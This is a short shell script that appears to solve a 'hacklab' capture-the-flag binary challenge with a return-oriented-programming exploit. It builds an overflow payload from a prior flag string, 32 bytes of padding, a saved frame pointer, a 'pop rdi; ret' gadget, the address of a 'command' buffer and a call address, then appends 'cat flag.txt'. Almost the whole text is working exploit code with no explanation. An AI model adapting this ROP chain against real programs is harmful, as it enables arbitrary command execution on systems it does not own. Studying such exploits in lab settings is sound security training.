#ROP #0x0000000000401283 : pop rdi ; ret #objdump #0000000000404048 g O .data 0000000000000008 command OLDFLAG="hacklab{SSE_1n5truct10n5_n33d_spec14l_al1gnm3nt_UwT8mByQ}\n" PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32 SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant GADGET1="\x84\x12\x40\00\00\00\00\00" #ret (for stack alignment) GADGET2="\x83\x12\x40\00\00\00\00\00" #pop rdi, ret CMDADDR="\x48\x40\x40\00\00\00\00\00" CMDCALL="\x10\x12\x40\00\00\00\00\00" printf "$OLDFLAG$PADDING$SAVERBP$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n"